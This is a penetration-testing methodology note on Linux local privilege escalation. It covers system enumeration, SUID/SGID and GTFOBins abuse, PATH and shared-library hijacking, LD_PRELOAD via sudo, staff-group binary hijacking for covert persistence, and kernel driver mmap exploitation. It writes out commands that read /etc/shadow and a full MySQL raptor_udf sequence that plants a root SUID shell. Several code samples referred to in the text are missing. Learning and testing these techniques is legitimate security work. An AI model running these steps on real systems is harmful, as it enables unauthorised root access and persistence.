Local privilege escalation
Linux - Local Privilege Escalation
The following note assumes that a low privilege shell could be obtained on the target. Some privilege techniques detailed rely on a fully TTY shell.
To leverage a shell from a Remote Code Execution (RCE) vulnerability please refer to the [General] Shells note.
“The more you look, the more you see.” ― Pirsig, Robert M., Zen and the Art of Motorcycle Maintenance
Enumeration
Basic enumeration
OS
cat /etc/*-release cat /etc/lsb-release
Kernel
uname -a cat /proc/version rpm -q kernel
Current user
id whoami
All users
cat /etc/passwd
Current user sudo rights
sudo -l
Sudo configuration – Privileged command
cat /etc/sudoers
Super users
awk -F: '($3 == "0") {print}' /etc/passwd
Logged in users
who -a w finger pinky users
Logged in history from /var/log/lastlog
lastlog lastlog PIPE grep -v "Never"
Users hashes – Privileged command
cat /etc/shadow (AIX Linux) cat /etc/security/passwd
Writable directories
Being able to write files on the system is needed for scripting the enumeration process and exploiting kernel vulnerabilities.
The following directories are usually writable to all:
To find directories the current user can write into:
Enumeration scripts
Most of the enumeration process detailed below can be automated using scripts. To upload the scripts on the target, please refer to the [General] File transfer note.
Personal preference:
linux-smart-enumeration.sh+LinEnum.sh+linux-exploit-suggester.sh(with kernel and packages checks, run off target)linux-exploit-suggester-2.pl+linux-soft-exploit-suggester
Recommended scripts
The LinEnum.sh and linux-smart-enumeration are maintained scripts that enumerate the system configuration using more than 65 checks (OS & kernel information, home directories, sudo acces, SUID/GUID files, configuration files, etc.).
The linux-exploit-suggester.sh and linux-exploit-suggester-2.pl (evolution of linux-exploit-suggester.pl) are maintained scripts that check for publicly known vulnerabilities and exploits in the Linux kernel and installed packages of the target.
The linux-exploit-suggester.sh script require Bash to be in version 4.0 or higher. The script can be used off the targeted box, by gathering the OS, Kernel and installed packages versions.
Or directly on the targeted box:
The linux-soft-exploit-suggester finds exploits for vulnerable packages in a Linux system. It focuses on software packages instead of Kernel vulnerabilities. It uses the exploit-db database to evaluate the security of packages and search for exploits, so an export of available exploits must be provided to the script:
Worth mentioning scripts
The BeRoot.py script enumerates common misconfigurations, with a bit more advanced checks (GTFOBins, NFS Root Squashing, etc.) details than LinEnum.sh. It additionally, embeds linux-exploit-suggester to give an overview of potential CVE that affect the kernel.
However, BeRoot.py requires Python to be installed on the target and is not practical to use.
Outdated scripts
The Linuxprivchecker.py script enumerates the system configuration and runs privilege escalation checks to recommend kernel privilege escalation exploits. The linux-exploit-suggester.py is not maintained anymore.
File systems
Mounted partitions and drives
The following commands can be used to display all mounted file systems:
Clear text passwords in files
Search for clear text passwords stored in files. Use the keyword 'password' first and broaden the search if needed by searching for 'pass':
Users home directories content
The users home directories may contain sensible information such as config files or history files. The following commands can be used to display the content of the users home directories:
SSH private-keys and configurations
Services configuration
The following commands can be used to list the configuration files present on the system. The files in the /etc folder are more likely to be active configurations and should be reviewed first.
Hidden files
To list the hidden files present on the system:
World-writeable and "nobody" files
The following commands can be used to list the files that are world writeable or that do not have a owner:
Others files of potential interest
The following files and directories may contain interesting information:
Privileges escalation through SUID / SGID binaries
SUID / SGID binaries are executed, respectively, with the privileges of the user or group owner of the file. A number of misconfigurations of SUID / SGID binaries can be leveraged for privilege escalation.
Note that execution of SUID / SGID binaries only set the effective uid (euid) (to the one of the owner of the binary) and not the real uid (ruid). The euid is the uid used by the current process, and the ruid is the "true" uid of the user, used to restore the original uid upon termination of the process. Some utilities, such as sh or bash, will drop the euid if it's not equal to the ruid for security reason.
Find SUID/GUID files and directories
The find utility can be used to list the SUID / GUID binaries present on the local system:
Look for GTFOBins or any unusual binaries in the list of SUID / GUID files enumerated.
"GTFOBins"
The GTFOBins are binaries that can be used to bypass local security restrictions and notably escape to execute commands through a shell.
The following binaries can be exploited to elevate privileges on the system if run with the SUID / SGID bit set:
aria2c
ash
awk
base64
bash
busybox
cat
chmod
chown
cp
csh
curl
cut
dash
date
dd
diff
dmsetup
docker
ed
emacs
env
expand
expect
find
flock
fmt
fold
gdb
git
grep
head
ionice
jjs
jq
jrunscript
ksh
ld.so
less
lua
make
more
mv
mysql
nano
nc
nice
nl
nmap
node
od
perl
pg
php
pic
pico
python
rlwrap
rpm
rpmquery
rsync
run-parts
scp
sed
setarch
shuf
socat
sort
sqlite3
start-stop-daemon
stdbuf
strace
tail
tar
taskset
tclsh
tee
telnet
tftp
time
timeout
ul
unexpand
uniq
unshare
vi
vim
watch
watch
wget
xargs
xxd
zip
zsh
For a more comprehensive / updated list of GTFOBins, and their respective privileges escalation sequences, please refer to:
Relative binary call and PATH exploit
If a binary with the SUID / SGID bit set runs another binary with out specifying its full path, it can be leveraged to escalate privileges on the system. The vulnerability arise because the Linux operating system relies on the current user PATH environment variable to find the binary called and not the path of the owner of the SUID / SGID binary.
Note that this attack primitive is not applicable to binaries executed through sudo, if the secure_path value is set in the sudoers file. If set, the PATH defined in the PATH value will indeed be used instead of the PATH environment variable for the commands executed through sudo.
To detect that a SUID / SGID binary is calling others binaries with out specifying their full path, the Linux strings utility can be used:
The exploit sequence is as follow:
Include a writable by the current user folder in the
PATHenvironment variable. Do not use a folder writable by all users as it could be used against the current user and would lower the system security level.export PATH=/home/<USERNAME>:$PATHCreate a binary named after the binary called by the
SUID/SGIDbinary in the added folder. If the arguments used for the call permit it,bashorshcan be used directly. If not, the following C code can be used to compile a binary executing/bin/bashunder the privilege of the user or group owner of theSUID/SGIDbinary. Refer to the[General] Shellsnote for reverse shell payloads if needed.Execute the vulnerable
SUID/SGIDbinary.
Exploit through dynamic / shared library
The search order for the Linux dynamic linker is as follow, as stated in the ld man page:
Any directories specified by the
-rpath-linkoption (only effective at link time).Any directories specified by the
-rpathoption (only effective at runtime). This option sets theRPATH/DT_RPATHorRUNPATH/DT_RUNPATHattribute of a binary.From the content of the
LD_RUN_PATHenvironment variable (if neither-rpath-linknor-rpathoptions were used at compile time).From the content of the
LD_LIBRARY_PATHenvironment variable.The default directories, normally
/liband/usr/lib.The list of directories configured in the
/etc/ld.so.conffile.The directories searched by the dynamic linker within the
/etc/ld.so.confconfiguration can be listed (in order) using theldconfigutility:
Note that for SUID / SGID binaries, the LD_RUN_PATH and LD_LIBRARY_PATH environment variables cannot be leveraged for privilege escalation, as the environment variables of the owner of the file are used (instead of the environment variable of the user executing the binary).
Library exploit code example.
The following exploit code can be used to compile a shared library executing /bin/bash as the user or group owner of the SUID / SGID binary (retrieved with geteuid()) upon being loaded:
SUID / SGID binary compiled with the RPATH / RUNPATH option.
As described in the dynamic library search order above, any shared library stored under the directory specified (at compile time) by the -rpath option will be loaded over libraries from any other locations. If an user has the rights to write files in a folder specified in the RPATH / RUNPATH of a SUID / SGID binary, the binary could be leveraged for privilege escalation.
The objdump utility, among others, can be used to determine if a given binary has been compiled with the RPATH option (-rpath='<DIRECTORY_PATH>):
Then the aforementioned exploit code, or the following code to exploit more specifically the libc.so can be used to execute a shell with the privileges of the SUID / SGID binary owner:
Dynamic / shared library link order hijacking.
If an user has the right to create or modify files in a directory present in the dynamic linker search order, the loading of an arbitrary dynamic / shared library by an SUID / SGID binary (or a binary executed with higher privileges through sudo) could be induced.
The following scenarios may arise:
rights to overwrite a legitimate library loaded by the targeted
SUID/SGIDbinary. May impact other programs loading the library and induce system instability.rights to create a file in a directory taking precedence in the search order over the directory containing the legitimate library. May also impact other programs loading the library and induce system instability.
rights to create a file in a directory in the search order and the targeted
SUID/SGIDbinary attempts to load a non-existing library.
The ldd utility can be used to enumerate the shared libraries imported by a binary, while the strace utility can be used as a complement to trace the eventual libraries loaded at runtime with calls to dlopen.
The aforementioned exploit code can, for example, be used to execute a shell under the effective user id of root through a SUID / SGID binary. The library should simply be placed in the targeted directory or as a replacement of an existing library.
Privilege escalation through sudo
Note that, contrary to SUID / SGID binaries, the sudo utility set both the effective uid (euid) and the real uid (ruid) (to the uid of the user whose identity is assumed through sudo).
"GTFOBins"
Similarly to SUID / GUID binaries, any GTFOBins program that allows arbitrary commands execution can be leveraged for privilege escalation if defined to be executable with higher privileges in a sudo entry.
GTFOBins binaries are referenced on the gtfobins.github.io website.
LD_PRELOAD
If the LD_PRELOAD environment variable is set to be kept in the sudo configuration (env_keep += LD_PRELOAD set in the /etc/sudoers file), it may be possible to obtain code execution under the privileges assumed through sudo. The LD_PRELOAD environment variable can indeed be leveraged to induce the utility executed through sudo (with hopefully higher privileges) to load an arbitrary shared library (.so).
The following code example simply executes /bin/bash under the identity of the user executing the binary, and can be leveraged to elevate privilege (if loaded by a binary executed under a more privileged user through sudo). The _init special function gets called as the library is first opened.
The sudo configuration can be retrieved using sudo -l (if the current user as the required privileges to execute sudo). The following example output shows a vulnerable sudo configuration allowing for privilege escalation:
gcc, among other compilers, can be used to compile a shared library leveraging the exploitation code example above to obtain a shell under the privileges assumed through sudo.
Linux groups
The membership of the compromised user to one of the groups listed below may, under certain circumstances, lead to a local elevation of privilege.
staff
The staff group allows users to add local modifications to the system /usr/local directory without needing root privileges. By default, no user belongs to this group.
Users belonging to this group can thus add and modify the binaries present in /usr/local/bin and /usr/local/sbin. As both directories are by default the two first entries in the PATH for, among others, the root user, the membership to this group can be leveraged to hijack root binary use, resulting in local privilege escalation.
To simply hijack a binary call, an executable script with the binary name can be placed under /usr/local/sbin or /usr/local/bin. In order to maintain the system operability and attain a certain level of covertness, the legitimate binary can be called at the end of the script.
For example, the following commands can be used to hijack the specified binary and add the compromised user to the sudoers whenever root makes use of the binary:
A reverse shell commands can be used as well, refer to the [General] shells note for potential reverse shell one-liners and scripts.
The pspy utility can be used to monitor the local process to check if a recurring task executed under root privileges (UID=0) could be immediately exploited.
Unpatched kernel and services
Compilers/languages installed/supported
The supported languages may be leveraged to compile exploit against the operating system / kernel and services.
To find out which compilers / languages can be used:
If no compilers are available on the system, it is recommended to compile the exploit on a similar kernel and upload the binary to the target, refer to the General - File transfer note to do so.
Verify the transferred binary integrity using the Linux builtin md5sum.
OS and kernel versions
To retrieve the Linux operating system and kernel versions:
Installed packages and binaries
The installed programs should be reviewed for potential known vulnerabilities. To review the installed programs on the target:
Exploits detection tools
The enumeration scripts linux-exploit-suggester.sh can be used on or off target, if provided with the uname -a output and the installed packages list (dpkg -l or rpm -qa command output), to enumerate potential exploits for the targeted box.
Refer to the "Enumeration - Enumeration scripts" part above for more information and usage guides to the most well known local exploit suggester scripts.
File transfer
To transfer the exploit code on the target box, refer to the General - File transfer note.
Processes and services
The processes running should be reviewed for known exploits, with a special attention given to the processes running under root privileges. The command line arguments used to start the process should be reviewed for sensible information. Additionally, a deeper analyze of non standard processes should be conducted with particular attention given to processes running as root.
Enumerate running processes and services
By default on Linux, all processes can be listed by unprivileged and non owner users. However, the system can be hardened in order to limit processes listing to self owned processes. This configuration is made through the mount option hidepid on the proc file system. The following values can be defined for the attribute:
hidepid=0(default), all world-readable/proc/<PID>/*files, meaning every process can be listed and potentially sensible information retrieved ;hidepid=1, directories entry in theprocfile system (PIDfolders) can be listed but files and subdirectories accessed may not accessed, except for owned processes ;hidepid=2, As for mode 1, but in addition the/proc/<PID>directories belonging to other users become invisible. This doesn't hide the fact that a process with a specific PID value exists (it can be learned by other means, for example, bykill -0 $PID), but it hides a process's UID and GID, which could otherwise be learned by employingstaton a/proc/<PID>directory. If configured, this option greatly limit the information available and notably makes it impossible to determine if processes are started by privileged users.
Additionally, the mount option gid specifies the ID of a group whose members are authorized to learn process information otherwise prohibited by hidepid. In other words, users in this group behave as though the proc file system was mounted with hidepid=0.
The current processes can be listed using the ps Linux utility:
Depending on the ps utility version either a or e may be used to include processes belonging to other users
ps aux
Includes environment variable, verbose
ps auxeww
ps aux | grep root ps ef | grep root
Listening services
netstat -antup ss -twurp
MySQL
If a MySQL service is running under root privileges and MySQL credentials for an user with FILE privileges are known, local privilege escalation can be achieved.
Refer to the File system - Clear text passwords in files part above for finding potential MySQL credentials present on the server. A blank password for the root user account is worth trying as well, especially if the MySQL service is only exposed locally on the server.
The raptor_udf.c (https://www.exploit-db.com/raw/1518) dynamic library can be used to leverage those pre requisites to conduct a local privilege escalation.
gcc -g -c raptor_udf.c gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc mysql -u root -p mysql> use mysql; mysql> create table foo(line blob);
Do not forget to change
mysql> insert into foo values(load_file('/raptor_udf.so')); mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so'; mysql> create function do_system returns integer soname 'raptor_udf.so'; mysql> select * from mysql.func;
+-----------+-----+---------------+----------+
| name | ret | dl | type |
+-----------+-----+---------------+----------+
| do_system | 2 | raptor_udf.so | function |
+-----------+-----+---------------+----------+
Test the privileges obtained
mysql> select do_system('id > /tmp/out; chmod 0755 /tmp/out');
Refer to General - Shells - Binary - Linux C binary for SUID shell for the source C code for the SUID sh binary.
mysql> select do_system('chown root.root /tmp/suid; chmod 4755 /tmp/suid');
mysql> ! sh sh$ /tmp/suid
Python library hijacking
When importing a library, using import <LIBRARY_NAME>, the Python interpreter will first search in the interpreted script folder for the library and then cycle through a predefined list of libraries folders.
A Python library hijacking can be leveraged to elevate privileges on the system whenever the current user has write access either in the Python libraries import folders or in the directory of a Python script that can (sudo and suid) or will (cron, init.d, etc.) be run with higher privileges.
The following commands can be used to enumerate the Python import libraries folders and list their access rights:
Potentially exploitable Python scripts should be identified when conducting the privileges escalation methodology. Additionally, the find Linux built-in can be used to exhaustively list all Python scripts present on the system as well as folders containing a Python and writable by the current user for further investigation:
In order to successfully exploit a Python library hijacking, it is recommended to completely copy the hijacked library, only adding a payload to the existing library code. The following payloads can be used:
For more Python reverse shell payloads, refer to the [General] Shells note.
Kernel drivers mmap handler exploitation
mmap handler exploitationTraditionally, the standard practice is to build device drivers as kernel modules loaded to run in the kernel (Ring 0 on x86 CPUs). While some device drivers can also run in user land, this approach is usually not preferred, mainly for performance and access sharing reasons. Although not common, drivers may also be built statically into the kernel file on disk. Devices drivers are thus usually running under high privileges and should be considered in the attack surface for privileges escalation.
The access and communications to the drivers are made using device files, located in the /dev directory. These devices drivers files may support all of the regular functions of normal Linux files such as open, read and close operations as well as mmap operations, which are used to create a new mapping in the virtual address space of the calling process. The main purpose of using an mmap handler in a driver is to speed up data exchange between kernel space and user land, by setting a memory buffer in kernel space accessible from user land without the need of additional syscalls.
A possible issue in drivers mmap implementation is the lack of verification of process supplied size allocation range. A vulnerable driver could potentially allows a user space process to mmap all of the physical memory address space of the kernel memory.
A total, or partial, mmaping of the kernel memory could be leveraged to elevate the privileges of the calling process by modifying its cred struct, which contains, among others variables, the process uids and gids:
The exploitation process is as follow:
Retrieve the current process credentials (
uids,gidsandcapabilities).mmapkernel space memory using a vulnerable driverScan the mmaped memory to find a pattern of 8 integers which matches the current process credentials
Replace the
uids/gidswith a value of 0 (root) and callgetuid()to check if the current processuidwas modifieda. if the
uidof the current process was modified, privileges escalation has been achieved and a call to/bin/sh, for example, can be used to execute commands asrootb. Otherwise, the previousuids/gidsvalues are restored and the search, repeating from step 3, continues
Note that sometimes the whole address space of the kernel memory may not be mapped, and the process above will fail as the current process credentials may not be present in the mapped memory address space. In those specific cases, and in a black box approach, a cred structure spray can be undertaken, by creating a large number of child processes, each conducting the exploitation steps above and implemented to notify the parent process in case of successful exploitation.
For more information and a detailed explanation of the attack, refer to the whitepaper MWR Labs Whitepaper - Kernel Driver mmap Handler Exploitation:
Enumeration of devices drivers supporting mmap operations
To conduct mmap operations on a device driver, write permission on the device drive file is needed. The following command can be used to enumerate the device drivers files the current user as write access to:
find /dev -perm -2 -exec ls -ld {} ; 2>/dev/null | grep -v "lrwxrwxrwx"
The following result demonstrates that the specific device driver supports mmap operations:
Exploitation of a vulnerable mmap handler device driver implementation
The following C code implements the exploitation process presented above and open an sh interpreter in case of successful modification of the current process uids/gids:
Root write access
Capabilities
https://medium.com/@int0x33/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099
References
https://book.hacktricks.xyz/linux-unix/privilege-escalation
https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=299007
https://unix.stackexchange.com/questions/47208/what-is-the-difference-between-kernel-drivers-and-kernel-modules
https://bitvijays.github.io/LFC-BinaryExploitation.html
https://www.boiteaklou.fr/Abusing-Shared-Libraries.html
Last updated